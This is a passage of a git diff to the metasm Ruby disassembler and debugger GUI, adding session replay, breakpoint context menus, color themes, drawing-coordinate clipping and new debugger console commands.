$VERBOSE ; puts "#{'not ' if not $VERBOSE}verbose" # toggle verbose flag - when ?x; list_xrefs(pointed_addr) - when ?;; add_comment(curview.current_address) + when ?x; list_xrefs + when ?;; add_comment(curaddr) when ?\ ; toggle_view(:listing) when :tab; toggle_view(:decompile) when ?j; curview.keypress(:down) - when ?k; curview.keypress(:up) + #when ?k; curview.keypress(:up) else p key if $DEBUG return @parent_widget ? @parent_widget.keypress(key) : false @@ -578,6 +777,48 @@ class DisasmWidget < ContainerChoiceWidget true end + attr_accessor :session_file + def save_session(filename) + @session_file = filename + end + + def replay_session(filename) + i = 0 + File.readlines(filename).each { |l| + instance_eval l + i += 1 + } + focus_addr(@session_focus_addr) if @session_focus_addr + puts "Session replay finished" + rescue ::Exception + puts "Session replay: error on line #{i}: #{$!.class} #{$!}" + end + + # append one line to the session file + # converts addresses to hex, deletes consecutive set_focus lines + def session_append(str) + return if not session_file + + # convert decimal addrs to hex + str = str.sub(/(\(|\[|= )(\d\d\d\d\d\d+)/) { $1 + ('0x%x' % $2.to_i) } + + @session_lastsz_setfocus ||= nil # prevent warning + if str =~ /^@session_focus_addr = / and @session_lastsz_setfocus + # overwrite previous set_focus + File.truncate(session_file, @session_lastsz_setfocus) if File.size(session_file) == @session_lastsz + is_setfocus = true + end + + File.open(session_file, 'a') { |fd| fd.puts str } + + @session_lastsz = File.size(session_file) + @session_lastsz_setfocus = @session_lastsz if not is_setfocus + + rescue + @session_file = nil + puts "Failed to save session, disabling (#{$!.class} #{$!})" + end + # creates a new dasm window with the same disassembler object, focus it on addr#win def clone_window(*focus) return if not popup = DasmWindow.new @@ -594,11 +835,21 @@ class DisasmWidget < ContainerChoiceWidget def dragdropfile(f) case f when /\.(c|h|cpp)$/; @dasm.parse_c_file(f) - when /\.map$/; @dasm.load_map(f) + when /\.map$/; @dasm.load_map(f) ; gui_update when /\.rb$/; @dasm.load_plugin(f) else messagebox("unsupported file extension #{f}") end end + + def extend_contextmenu(tg, menu, addr=nil) + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(tg, menu, addr) + end + end + + def inspect + "" % object_id + end end # this widget is loaded in an empty DasmWindow to handle shortcuts (open file, etc) @@ -644,7 +895,7 @@ class DasmWindow < Window self.widget = NoDasmWidget.new(self) end end - + def widget=(w) super(w || NoDasmWidget.new(self)) end @@ -673,8 +924,11 @@ class DasmWindow < Window def loadfile(path, cpu='Ia32', exefmt=nil) if exefmt exefmt = Metasm.const_get(exefmt) if exefmt.kind_of? String + if exefmt.kind_of?(::Class) and exefmt.name.split('::').last == 'Shellcode' + exefmt = Shellcode.withcpu(cpu) + end else - exefmt = AutoExe.orshellcode { cpu = Metasm.const_get(cpu) if cpu.kind_of? String ; cpu.new } + exefmt = AutoExe.orshellcode { cpu = Metasm.const_get(cpu) if cpu.kind_of? String ; cpu = cpu.new if cpu.kind_of?(::Class) ; cpu } end exe = exefmt.decode_file(path) { |type, str| @@ -688,14 +942,15 @@ class DasmWindow < Window end } (@dasm_widget ? DasmWindow.new : self).display(exe.disassembler) + self.title = "#{File.basename(path)} - metasm disassembler" exe end - def promptopen(caption='chose target binary') - openfile(caption) { |exename| loadfile(exename) ; yield self if block_given? } + def promptopen(caption='chose target binary', &b) + openfile(caption) { |exename| loadfile(exename) ; b.call(self) if b } end - def promptdebug(caption='chose target') + def promptdebug(caption='chose target', &b) l = nil i = inputbox(caption) { |name| i = nil ; l.destroy if l and not l.destroyed? @@ -711,7 +966,7 @@ class DasmWindow < Window end DbgWindow.new(target) destroy if not @dasm_widget - yield self if block_given? + b.call(self) if b } # build process list in bg (exe name resolution takes a few seconds) @@ -786,6 +1041,7 @@ class DasmWindow < Window addsubmenu(importmenu, 'Load _map') { openfile('chose map file') { |file| @dasm_widget.dasm.load_map(File.read(file)) if @dasm_widget + @dasm_widget.gui_update if @dasm_widget } if @dasm_widget } addsubmenu(importmenu, 'Load _C') { @@ -838,12 +1094,13 @@ class DasmWindow < Window addsubmenu(actions, '_Backtrace', 'b') { @dasm_widget.prompt_backtrace } addsubmenu(actions, 'List functions', 'f') { @dasm_widget.list_functions } addsubmenu(actions, 'List labels', 'l') { @dasm_widget.list_labels } - addsubmenu(actions, 'List xrefs', 'x') { @dasm_widget.list_xrefs(@dasm_widget.pointed_addr) } + addsubmenu(actions, 'List xrefs', 'x') { @dasm_widget.list_xrefs } + addsubmenu(actions, 'Find local vars', 'K') { @dasm_widget.name_local_vars(@dasm_widget.curview.current_address) } addsubmenu(actions, 'Rebase') { @dasm_widget.rebase } - addsubmenu(actions, 'Rename label', 'n') { @dasm_widget.rename_label(@dasm_widget.pointed_addr) } + addsubmenu(actions, 'Rename label', 'n') { @dasm_widget.rename } addsubmenu(actions, 'Decompile', '') { @dasm_widget.decompile(@dasm_widget.curview.current_address) } addsubmenu(actions, 'Decompile finali_ze') { @dasm_widget.dasm.decompiler.finalize ; @dasm_widget.gui_update } - addsubmenu(actions, 'Comment', ';') { @dasm_widget.decompile(@dasm_widget.curview.current_address) } + addsubmenu(actions, 'Comment', ';') { @dasm_widget.add_comment(@dasm_widget.curview.current_address) } addsubmenu(actions, '_Undefine') { @dasm_widget.dasm.undefine_from(@dasm_widget.curview.current_address) ; @dasm_widget.gui_update } addsubmenu(actions, 'Unde_fine function') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address) } addsubmenu(actions, 'Undefine function & _subfuncs') { @dasm_widget.undefine_function(@dasm_widget.curview.current_address, true) } diff --git a/lib/metasm/metasm/gui/dasm_opcodes.rb b/lib/metasm/metasm/gui/dasm_opcodes.rb index f38c2b38d5..faeab8334d 100644 --- a/lib/metasm/metasm/gui/dasm_opcodes.rb +++ b/lib/metasm/metasm/gui/dasm_opcodes.rb @@ -9,7 +9,7 @@ class AsmOpcodeWidget < DrawableWidget attr_accessor :dasm # nr of raw data bytes to display next to decoded instructions attr_accessor :raw_data_length - + def initialize_widget(dasm, parent_widget) @dasm = dasm @parent_widget = parent_widget @@ -22,9 +22,7 @@ class AsmOpcodeWidget < DrawableWidget @view_max = @dasm.sections.map { |s, e| s + e.length }.max rescue nil @view_addr = @dasm.prog_binding['entrypoint'] || @view_min || 0 - @default_color_association = { :comment => :darkblue, :label => :darkgreen, :text => :black, - :instruction => :black, :address => :blue, :caret => :black, :raw_data => :black, - :background => :white, :cursorline_bg => :paleyellow, :hl_word => :palered } + @default_color_association = ColorTheme.merge :raw_data => :black end def resized(w, h) @@ -124,19 +122,7 @@ class AsmOpcodeWidget < DrawableWidget # must not include newline render = lambda { |str, color| fullstr << str - if @hl_word - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length * @font_width - hl_x = s2.length * @font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height) - pre_x += hl_x - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } @@ -154,7 +140,7 @@ class AsmOpcodeWidget < DrawableWidget # draw text until screen is full while y < height - if label = invb[curaddr] + if invb[curaddr] nl[] @dasm.label_alias[curaddr].to_a.each { |name| render["#{name}:", :label] @@ -251,7 +237,7 @@ class AsmOpcodeWidget < DrawableWidget # redraws the caret, change the hilighted word, redraw if needed def update_caret if update_hl_word(@line_text[@caret_y], @caret_x) or @caret_y != @oldcaret_y - redraw + redraw elsif @oldcaret_x != @caret_x invalidate_caret(@oldcaret_x, @oldcaret_y) invalidate_caret(@caret_x, @caret_y) diff --git a/lib/metasm/metasm/gui/debug.rb b/lib/metasm/metasm/gui/debug.rb index 53cc684f2f..e563803dc3 100644 --- a/lib/metasm/metasm/gui/debug.rb +++ b/lib/metasm/metasm/gui/debug.rb @@ -30,7 +30,7 @@ class DbgWidget < ContainerVBoxWidget oldcb = @code.bg_color_callback @code.bg_color_callback = lambda { |a| if a == @dbg.pc - 'f88' + :red_bg # TODO breakpoints & stuff elsif oldcb; oldcb[a] end @@ -48,8 +48,8 @@ class DbgWidget < ContainerVBoxWidget pc = @dbg.resolve_expr(@watchpoint[@code]) graph = :graph if @dbg.disassembler.function_blocks(pc).to_a.length < 100 - @code.focus_addr(pc, graph) - @mem.focus_addr(0, :hex) + @code.focus_addr(pc, graph, true) + @mem.focus_addr(0, :hex, true) end def swapin_tid @@ -98,10 +98,16 @@ class DbgWidget < ContainerVBoxWidget # TODO check_target always, incl when :stopped def post_dbg_run + # focus currently stopped threads + if @dbg.state == :running and tt = @dbg.tid_stuff.find { |tid, tstuff| tstuff[:state] != :running } + @dbg.tid = tt[0] + end + want_redraw = true return if @idle_checking ||= nil # load only one bg proc @idle_checking = true Gui.idle_add { + protect { @dbg.check_target if @dbg.state == :running redraw if want_redraw # redraw once if the target is running (less flicker with singlestep) @@ -121,6 +127,7 @@ class DbgWidget < ContainerVBoxWidget } redraw false + } } end @@ -166,7 +173,10 @@ class DbgWidget < ContainerVBoxWidget l = listwindow('running processes', list, :noshow => true, :color_callback => lambda { |le| [:grey, :palegrey] if le[0] == me } - ) { |e| i.text = e[0] } + ) { |e| + i.text = e[0] + i.keypress(:enter) if l.destroyed? + } l.x += l.width l.show false @@ -198,10 +208,28 @@ class DbgWidget < ContainerVBoxWidget case f when /\.(c|h|cpp)$/; @dbg.disassembler.parse_c_file(f) when /\.map$/; @dbg.load_map(f) - when /\.rb$/; @dbg.load_plugin(f) + when /\.rb$/; @dbg.load_plugin(f) ; @console.add_log "loaded plugin #{File.basename(f, '.rb')}" else messagebox("unsupported file extension #{f}") end end + + def extend_contextmenu(tg, menu, addr=nil) + if addr + bm = tg.new_menu + bl = @dbg.all_breakpoints(addr) + if not bl.empty? + tg.addsubmenu(bm, '_clear breakpoint') { bl.each { |b| @dbg.del_bp(b) } } + end + tg.addsubmenu(bm, '_go here') { @dbg.bpx(addr, true) ; dbg_continue } + tg.addsubmenu(bm, '_bpx') { @dbg.bpx(addr) } + tg.addsubmenu(bm, 'bpm _read') { @dbg.hwbp(addr, :r, 1) } + tg.addsubmenu(bm, 'bpm _write') { @dbg.hwbp(addr, :w, 1) } + tg.addsubmenu(menu, '_bp', bm) + end + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(tg, menu, addr) + end + end end @@ -221,10 +249,9 @@ class DbgRegWidget < DrawableWidget swapin_tid @reg_pos = [] # list of x y w h vx of the reg drawing on widget, vx is x of value - - @default_color_association = { :label => :black, :data => :blue, :write_pending => :darkred, - :changed => :darkgreen, :caret => :black, :background => :white, - :inactive => :palegrey } + + @default_color_association = ColorTheme.merge :label => :text, :data => :blue, :write_pending => :darkred, + :changed => :green, :caret => :text, :inactive => :palegrey end def swapin_tid @@ -262,7 +289,6 @@ class DbgRegWidget < DrawableWidget end def paint - curaddr = 0 x = 1 y = 0 @@ -402,7 +428,7 @@ class DbgRegWidget < DrawableWidget @write_pending[reg] = v rsz = 1 end - + if rsz == 1 @caret_reg += 1 @caret_reg = @registers.length if @caret_reg >= @registers.length + @flags.length @@ -472,8 +498,8 @@ class DbgConsoleWidget < DrawableWidget @dbg.set_log_proc { |l| add_log l } - @default_color_association = { :log => :palegrey, :curline => :white, :caret => :yellow, - :background => :black, :status => :black, :status_bg => '088' } + @default_color_association = ColorTheme.merge :log => :palegrey, :curline => :white, :caret => :yellow, + :background => :black, :status => :black, :status_bg => '088' init_commands end @@ -513,6 +539,21 @@ class DbgConsoleWidget < DrawableWidget clipboard_copy(txt) end + # copy/paste word under cursor (paste when on last line) + def rightclick(x, y) + y -= height % @font_height + y = y.to_i / @font_height + hc = height / @font_height + x /= @font_width + if y >= hc - 2 + keypress_ctrl ?v + else + txt = @log.reverse[@log_offset + hc - y - 3].to_s + word = txt[0...x].to_s[/\w*$/] << txt[x..-1].to_s[/^\w*/] + clipboard_copy(word) + end + end + def mouse_wheel(dir, x, y) case dir when :up; @log_offset += 3 @@ -531,12 +572,12 @@ class DbgConsoleWidget < DrawableWidget w_w = width - y -= @font_height + y -= @font_height draw_rectangle_color(:status_bg, 0, y, w_w, @font_height) str = "#{@dbg.pid}:#{@dbg.tid} #{@dbg.state} #{@dbg.info}" draw_string_color(:status, w_w-str.length*@font_width-1, y, str) draw_string_color(:status, 1+@font_width, y, @statusline) - y -= @font_height + y -= @font_height w_w_c = w_w/@font_width @caret_y = y @@ -744,7 +785,7 @@ class DbgConsoleWidget < DrawableWidget def cmd_dd(addr, dlen=nil, len=nil) if addr.kind_of? String s = addr.strip - addr = solve_expr!(s) + addr = solve_expr!(s) || @parent_widget.mem.curaddr if not s.empty? s = s[1..-1] if s[0] == ?, len ||= solve_expr(s) @@ -757,7 +798,7 @@ class DbgConsoleWidget < DrawableWidget le = (@dbg.cpu.endianness == :little) data = '' if @dbg.memory.page_invalid?(addr) case dlen - when nil; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ').ljust(2*16+15)} #{data.tr("\0-\x1f\x7f-\xff", '.')}" + when nil; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ').ljust(2*16+15)} #{data.tr("^\x20-\x7e", '.')}" when 1; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ')}" when 2; add_log "#{Expression[addr]} #{data.unpack(le ? 'v*' : 'n*').map { |c| '%04X' % c }.join(' ')}" when 4; add_log "#{Expression[addr]} #{data.unpack(le ? 'V*' : 'N*').map { |c| '%08X' % c }.join(' ')}" @@ -767,8 +808,12 @@ class DbgConsoleWidget < DrawableWidget len -= 16 end else - @parent_widget.mem.view(:hex).data_size = dlen if dlen - @parent_widget.mem.focus_addr(solve_expr(addr)) if addr and addr != '' + if dlen + @parent_widget.mem.view(:hex).data_size = dlen + @parent_widget.mem.view(:hex).resized + @parent_widget.mem.showview(:hex) + end + @parent_widget.mem.focus_addr(solve_expr(addr)) @parent_widget.mem.gui_update end end @@ -783,6 +828,18 @@ class DbgConsoleWidget < DrawableWidget new_command('dw', 'dump/focus words in data window') { |arg| cmd_dd(arg, 2) } new_command('dd', 'dump/focus dwords in data window') { |arg| cmd_dd(arg, 4) } new_command('dq', 'dump/focus qwords in data window') { |arg| cmd_dd(arg, 8) } + new_command('dc', 'focus C struct in data window: ') { |arg| + name, addr = arg.strip.split(/\s+/, 2) + addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr) + @parent_widget.mem.focus_addr(addr, :cstruct, false, name) + } + new_command('dC', 'dump C struct: dC ') { |arg| + name, addr = arg.strip.split(/\s+/, 2) + addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr) + if st = @dbg.disassembler.c_parser.decode_c_struct(name, @dbg.memory, addr) + add_log st.to_s.gsub("\t", ' ') + end + } new_command('u', 'focus code window on an address') { |arg| p.code.focus_addr(solve_expr(arg)) } new_command('.', 'focus code window on current address') { p.code.focus_addr(solve_expr(@dbg.register_pc.to_s)) } new_command('wc', 'set code window height') { |arg| @@ -828,12 +885,14 @@ class DbgConsoleWidget < DrawableWidget cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a @dbg.bpx(solve_expr(e), o, cd, &cb) } - new_command('hwbp', 'set a hardware breakpoint') { |arg| - arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i - e, c, a = $1, ($2 || $4), $3 + new_command('hwbp', 'set a hardware breakpoint (hwbp 0x2345 w)') { |arg| + arg =~ /^(.*?)( once)?( [rwx])?(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i + e, o, t, c, a = $1, $2, $3, ($4 || $6), $5 + o = o ? true : false + t = (t || 'x').strip.to_sym cd = parse_expr(c) if c cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a - @dbg.hwbp(solve_expr(e), :x, 1, false, cd, &cb) + @dbg.hwbp(solve_expr(e), t, 1, o, cd, &cb) } new_command('bpm', 'set a hardware memory breakpoint: bpm r 0x4800ff 16') { |arg| arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i @@ -846,7 +905,7 @@ class DbgConsoleWidget < DrawableWidget exp = solve_expr!(e) len = solve_expr(e) if e != '' len ||= 1 - @dbg.hwbp(exp, mode, len, false, cd, &cb) + @dbg.bpm(exp, mode, len, false, cd, &cb) } new_command('g', 'wait until target reaches the specified address') { |arg| arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i @@ -1038,7 +1097,7 @@ class DbgConsoleWidget < DrawableWidget add_log "#{t} #{stf[:state]} #{stf[:info]}" } } - + new_command('pid', 'select a pid') { |arg| if pid = solve_expr(arg) @dbg.pid = pid @@ -1072,7 +1131,7 @@ class DbgConsoleWidget < DrawableWidget @dbg.ignore_newthread = false @dbg.ignore_endthread = false } - new_command('thread_event_ignore', 'ignore thread creation/termination') { + new_command('thread_events_ignore', 'ignore thread creation/termination') { @dbg.ignore_newthread = true @dbg.ignore_endthread = true } @@ -1101,6 +1160,12 @@ class DbgConsoleWidget < DrawableWidget @dbg.create_process(arg) } + new_command('plugin', 'load', 'load a debugger plugin') { |arg| + @dbg.load_plugin arg + add_log "loaded plugin #{File.basename(arg, '.rb')}" + } + + @dbg.ui_command_setup(self) if @dbg.respond_to? :ui_command_setup end @@ -1122,12 +1187,13 @@ class DbgConsoleWidget < DrawableWidget end def run_command(cmd) + cmd = cmd.sub(/^\s+/, '') cn = cmd.split.first if not @commands[cn] a = @commands.keys.find_all { |k| k[0, cn.length] == cn } cn = a.first if a.length == 1 end - if pc = @commands[cn] + if pc = @commands[cn] pc[cmd.split(/\s+/, 2)[1].to_s] else add_log 'unknown command' diff --git a/lib/metasm/metasm/gui/gtk.rb b/lib/metasm/metasm/gui/gtk.rb index a2473eb41e..05c20ab1ef 100644 --- a/lib/metasm/metasm/gui/gtk.rb +++ b/lib/metasm/metasm/gui/gtk.rb @@ -145,7 +145,7 @@ end class DrawableWidget < Gtk::DrawingArea include Msgbox - attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word + attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word, :hl_word_re # this hash is used to determine the colors of the Gui elements (background, caret, ...) # modifications to it are only useful before the widget is first rendered (IE before Gui.main) attr_accessor :default_color_association @@ -153,7 +153,7 @@ class DrawableWidget < Gtk::DrawingArea # keypress event keyval traduction table Keyboard_trad = Gdk::Keyval.constants.grep(/^GDK_/).inject({}) { |h, cst| v = Gdk::Keyval.const_get(cst) - key = cst.to_s.sub(/^GDK_/, '').sub(/^KP_/, '') + key = cst.to_s.sub(/^GDK_/, '').sub(/^KEY_/, '').sub(/^KP_/, '') if key.length == 1 key = key[0] # ?a, ?b etc else @@ -161,7 +161,7 @@ class DrawableWidget < Gtk::DrawingArea key = { :page_up => :pgup, :page_down => :pgdown, :next => :pgdown, :escape => :esc, :return => :enter, :l1 => :f11, :l2 => :f12, - :prior => :pgup, + :prior => :pgup, :menu => :popupmenu, :space => ?\ , :asciitilde => ?~, :quoteleft => ?`, @@ -189,6 +189,15 @@ class DrawableWidget < Gtk::DrawingArea h.update v => key } + BasicColor = { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', + :red => 'f44', :darkred => '800', :palered => 'faa', + :green => '4f4', :darkgreen => '080', :palegreen => 'afa', + :blue => '44f', :darkblue => '008', :paleblue => 'aaf', + :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa', + :orange => 'fc8', + + } + def initialize(*a, &b) @parent_widget = nil @@ -226,7 +235,6 @@ class DrawableWidget < Gtk::DrawingArea grab_focus case ev.button when 1; protect { click(ev.x, ev.y) } if respond_to? :click - when 3; protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick end when Gdk::Event::Type::BUTTON2_PRESS case ev.button @@ -245,8 +253,11 @@ class DrawableWidget < Gtk::DrawingArea } if respond_to? :mousemove signal_connect('button_release_event') { |w, ev| - protect { mouserelease(ev.x, ev.y) } if ev.button == 1 - } if respond_to? :mouserelease + case ev.button + when 1; protect { mouserelease(ev.x, ev.y) } if respond_to? :mouserelease + when 3; protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick + end + } signal_connect('scroll_event') { |w, ev| dir = case ev.direction @@ -273,12 +284,7 @@ class DrawableWidget < Gtk::DrawingArea } signal_connect('realize') { - { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', - :red => 'f00', :darkred => '800', :palered => 'fcc', - :green => '0f0', :darkgreen => '080', :palegreen => 'cfc', - :blue => '00f', :darkblue => '008', :paleblue => 'ccf', - :yellow => 'ff0', :darkyellow => '440', :paleyellow => 'ffc', - }.each { |tag, val| + BasicColor.each { |tag, val| @color[tag] = color(val) } @@ -302,7 +308,11 @@ class DrawableWidget < Gtk::DrawingArea # create a color from a 'rgb' description def color(val) if not @color[val] - @color[val] = Gdk::Color.new(*val.unpack('CCC').map { |c| (c.chr*4).hex }) + v = case val.length + when 3; val.scan(/./).map { |c| (c*4).to_i(16) } + when 6; val.scan(/../).map { |c| (c+c).to_i(16) } + end + @color[val] = Gdk::Color.new(*v) window.colormap.alloc_color(@color[val], true, true) end @color[val] @@ -325,20 +335,48 @@ class DrawableWidget < Gtk::DrawingArea # change the color association # arg is a hash function symbol => color symbol - # color must be allocated # check #initialize/sig('realize') for initial function/color list + # if called before the widget is first displayed onscreen, will register a hook to re-call itself later def set_color_association(hash) - hash.each { |k, v| @color[k] = color(v) } - modify_bg Gtk::STATE_NORMAL, @color[:background] - gui_update + if not realized? + sid = signal_connect('realize') { + signal_handler_disconnect(sid) + set_color_association(hash) + } + else + hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) } + hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) } + modify_bg Gtk::STATE_NORMAL, @color[:background] + gui_update + end + end + + def new_menu + toplevel.new_menu + end + def addsubmenu(*a, &b) + toplevel.addsubmenu(*a, &b) + end + def popupmenu(m, x, y) + toplevel.popupmenu(m, (x+allocation.x).to_i, (y+allocation.y).to_i) end # update @hl_word from a line & offset, return nil if unchanged - def update_hl_word(line, offset) + def update_hl_word(line, offset, mode=:asm) return if not line word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] word = nil if word == '' - @hl_word = word if @hl_word != word + if @hl_word != word + if word + if mode == :asm and defined?(@dasm) and @dasm + re = @dasm.gui_hilight_word_regexp(word) + else + re = Regexp.escape word + end + @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ + end + @hl_word = word + end end def paint @@ -385,6 +423,20 @@ class DrawableWidget < Gtk::DrawingArea end def draw_rectangle(x, y, w, h) + # GTK clips coords around 0x8000 + return if x > 0x7000 or y > 0x7000 + if x < -0x7000 + w += x + 100 + x = -100 + end + if y < -0x7000 + h += y + 100 + y = -100 + end + return if w <= 0 or h <= 0 + w = 0x7000 if w > 0x7000 + h = 0x7000 if h > 0x7000 + @w.draw_rectangle(@gc, true, x, y, w, h) end @@ -394,6 +446,29 @@ class DrawableWidget < Gtk::DrawingArea end def draw_line(x, y, ex, ey) + if x.abs > 0x7000 + return if ex.abs > 0x7000 and ((ex < 0) == (x < 0)) + ox = x + x = ((x > 0) ? 0x7000 : -0x7000) + y = ey+(x-ex)*(y-ey)/(ox-ex) + end + if ex.abs > 0x7000 + oex = ex + ex = ((ex > 0) ? 0x7000 : -0x7000) + ey = y+(ex-x)*(ey-y)/(oex-x) + end + if y.abs > 0x7000 + return if ey.abs > 0x7000 and ((ey < 0) == (y < 0)) + oy = y + y = ((y > 0) ? 0x7000 : -0x7000) + x = ex+(y-ey)*(x-ex)/(oy-ey) + end + if ey.abs > 0x7000 + oey = ey + ey = ((ey > 0) ? 0x7000 : -0x7000) + ex = x+(ey-y)*(ex-x)/(oey-y) + end + @w.draw_line(@gc, x, y, ex, ey) end @@ -403,6 +478,7 @@ class DrawableWidget < Gtk::DrawingArea end def draw_string(x, y, str) + return if x.abs > 0x7000 or y.abs > 0x7000 @layout.text = str @w.draw_layout(@gc, x, y, @layout) end @@ -412,6 +488,23 @@ class DrawableWidget < Gtk::DrawingArea draw_string(x, y, str) end + # same as draw_string_color + hilight @hl_word_re + def draw_string_hl(col, x, y, str) + if @hl_word + while str =~ @hl_word_re + s1, s2 = $1, $2 + draw_string_color(col, x, y, s1) + x += s1.length*@font_width + hl_w = s2.length*@font_width + draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height) + draw_string_color(:hl_word, x, y, s2) + x += hl_w + str = str[s1.length+s2.length..-1] + end + end + draw_string_color(col, x, y, str) + end + def clipboard_copy(buf) clipboard = Gtk::Clipboard.get(Gdk::Selection::PRIMARY) clipboard.text = buf @@ -477,15 +570,35 @@ class InputBox < Gtk::Dialog @textwidget = Gtk::TextView.new if opts[:text] @textwidget.buffer.text = opts[:text].to_s - @textwidget.buffer.move_mark('selection_bound', @textwidget.buffer.start_iter) - @textwidget.buffer.move_mark('insert', @textwidget.buffer.end_iter) + text_select_all end + @@history ||= {} + histkey = opts[:history] || str[0, 10] + @history = (@@history[histkey] ||= []) + @history_off = @history.length + @textwidget.signal_connect('key_press_event') { |w, ev| key = DrawableWidget::Keyboard_trad[ev.keyval] case key - when :escape; response(RESPONSE_REJECT) ; true - when :enter; response(RESPONSE_ACCEPT) ; true + when :escape + response(RESPONSE_REJECT) + true + when :enter + @history << @textwidget.buffer.text.to_s + @history.pop if @history.last == '' + @history.pop if @history.last == @history[-2] + response(RESPONSE_ACCEPT) + true + when :up, :down + txt = @textwidget.buffer.text.to_s + if (@history_off < @history.length or @history.last != txt) + @history[@history_off] = txt + end + @history_off += (key == :up ? -1 : 1) + @history_off %= @history.length + @textwidget.buffer.text = @history[@history_off].to_s + text_select_all end } @@ -502,9 +615,9 @@ class InputBox < Gtk::Dialog Gtk::Drag.dest_set(self, Gtk::Drag::DEST_DEFAULT_MOTION | Gtk::Drag::DEST_DEFAULT_DROP, - [['text/plain', 0, 0], ['text/uri-list', 0, 0]], + [['text/plain', 0, 0], ['text/uri-list', 0, 0]], Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE) - + signal_connect('drag_data_received') { |w, dc, x, y, data, info, time| dc.targets.each { |target| next if target.name != 'text/plain' and target.name != 'text/uri-list' @@ -521,6 +634,11 @@ class InputBox < Gtk::Dialog present end + def text_select_all + @textwidget.buffer.move_mark('selection_bound', @textwidget.buffer.start_iter) + @textwidget.buffer.move_mark('insert', @textwidget.buffer.end_iter) + end + def text ; @textwidget.buffer.text ; end def text=(nt) ; @textwidget.buffer.text = nt ; end end @@ -604,7 +722,7 @@ class ListWindow < Gtk::Dialog tvc = Gtk::TreeViewColumn.new(col, crt) tvc.sort_column_id = i tvc.set_cell_data_func(crt) { |_tvc, _crt, model, iter| - _crt.text = iter[i] + _crt.text = iter[i] if @color_callback fu = (0...cols.length).map { |ii| iter[ii] } fg, bg = @color_callback[fu] @@ -635,7 +753,7 @@ class ListWindow < Gtk::Dialog remove vbox add Gtk::ScrolledWindow.new.add(treeview) - toplevel.set_default_size cols.length*120, 400 + toplevel.set_default_size cols.length*240, 400 show if not h[:noshow] @@ -666,6 +784,7 @@ class Window < Gtk::Window @menubar = Gtk::MenuBar.new @accel_group = Gtk::AccelGroup.new + set_gravity Gdk::Window::GRAVITY_STATIC @vbox.add @menubar, 'expand' => false @child = nil s = Gdk::Screen.default @@ -678,14 +797,13 @@ class Window < Gtk::Window initialize_window(*a, &b) build_menu update_menu - - + Gtk::Drag.dest_set(self, Gtk::Drag::DEST_DEFAULT_MOTION | Gtk::Drag::DEST_DEFAULT_DROP, - [['text/plain', 0, 0], ['text/uri-list', 0, 0]], + [['text/plain', 0, 0], ['text/uri-list', 0, 0]], Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE) - + signal_connect('drag_data_received') { |w, dc, x, y, data, info, time| dc.targets.each { |target| next if target.name != 'text/plain' and target.name != 'text/uri-list' @@ -734,6 +852,13 @@ class Window < Gtk::Window l.grep(::Array).first if l end + def popupmenu(m, x, y) + mh = Gtk::Menu.new + m.each { |e| create_menu_item(mh, e) } + mh.show_all + mh.popup(nil, nil, 2, 0) { |_m, _x, _y, _p| [position[0]+x, position[1]+y, true] } + end + # append stuff to a menu # arglist: # empty = menu separator @@ -801,13 +926,10 @@ class Window < Gtk::Window key = accel[-1] if key == ?> key = accel[/<(.*)>/, 1] - key = case key - when 'enter'; Gdk::Keyval::GDK_Return - when 'esc'; Gdk::Keyval::GDK_Escape - when 'tab'; Gdk::Keyval::GDK_Tab - when /^f(\d\d?)$/i; Gdk::Keyval.const_get("GDK_#{key.upcase}") - else ?? - end + key = DrawableWidget::Keyboard_trad.index(case key + when 'enter', 'esc', 'tab', /^f(\d\d?)$/i; key.downcase.to_sym + else ?? + end) end key = key.unpack('C')[0] if key.kind_of? String # yay rb19 item.add_accelerator('activate', @accel_group, key, (accel[0] == ?^ ? Gdk::Window::CONTROL_MASK : 0), Gtk::ACCEL_VISIBLE) @@ -815,7 +937,7 @@ class Window < Gtk::Window if action a = action if check - a = lambda { item.active = action.call(item.active?) } + a = lambda { |it| it.active = action.call(it.active?) } end item.signal_connect('activate') { protect { a.call(item) } } end @@ -838,7 +960,7 @@ class ToolWindow < Gtk::Dialog initialize_window(*a, &b) show_all end - + def widget=(w) remove @child if @child @child = w diff --git a/lib/metasm/metasm/gui/qt.rb b/lib/metasm/metasm/gui/qt.rb index d0ba546268..d7a4767acf 100644 --- a/lib/metasm/metasm/gui/qt.rb +++ b/lib/metasm/metasm/gui/qt.rb @@ -323,11 +323,21 @@ Execute Printer Play Sleep Zoom Cancel end # update @hl_word from a line & offset, return nil if unchanged - def update_hl_word(line, offset) + def update_hl_word(line, offset, 